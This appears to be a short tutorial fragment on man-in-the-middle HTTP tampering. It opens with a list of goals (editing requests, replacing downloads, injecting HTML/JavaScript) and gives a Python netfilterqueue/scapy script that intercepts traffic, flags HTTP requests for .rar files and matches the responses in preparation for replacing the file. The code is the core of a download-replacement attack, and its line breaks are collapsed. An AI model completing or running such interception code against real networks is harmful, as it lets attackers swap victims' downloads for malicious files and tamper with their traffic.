MODIFYING DATA IN HTTP LAYER
- Edit requests/responses.
- Replace download requests.
- Inject code(html/Javascript)
Modifying HTTP Requests on the Fly:
#!/usr/bin/env python from netfilterqueue import NetfilterQueue from scapy.layers.inet import IP, TCP from scapy.packet import Raw ack_list = [] def process_packet(packet): scapy_packet = IP(packet.get_payload()) # print(scapy_packet.show()) if scapy_packet.haslayer(TCP) and scapy_packet.haslayer(Raw): if scapy_packet[TCP].dport == 80: # print("HTTP Request") if ".rar" in scapy_packet[Raw].load.decode(): print("[+] rar Request") ack_list.append(scapy_packet[TCP].ack) print(scapy_packet.show()) elif scapy_packet[TCP].sport == 80: if scapy_packet[TCP].seq in ack_list: ack_list.remove(scapy_packet[TCP].seq) print("[+] Replacing file") # print("HTTP Response") print(scapy_packet.show()) packet.accept() queue = NetfilterQueue() queue.bind(0, process_packet) try: queue.run() except KeyboardInterrupt: print('')
Browse the http website and download the .rar file.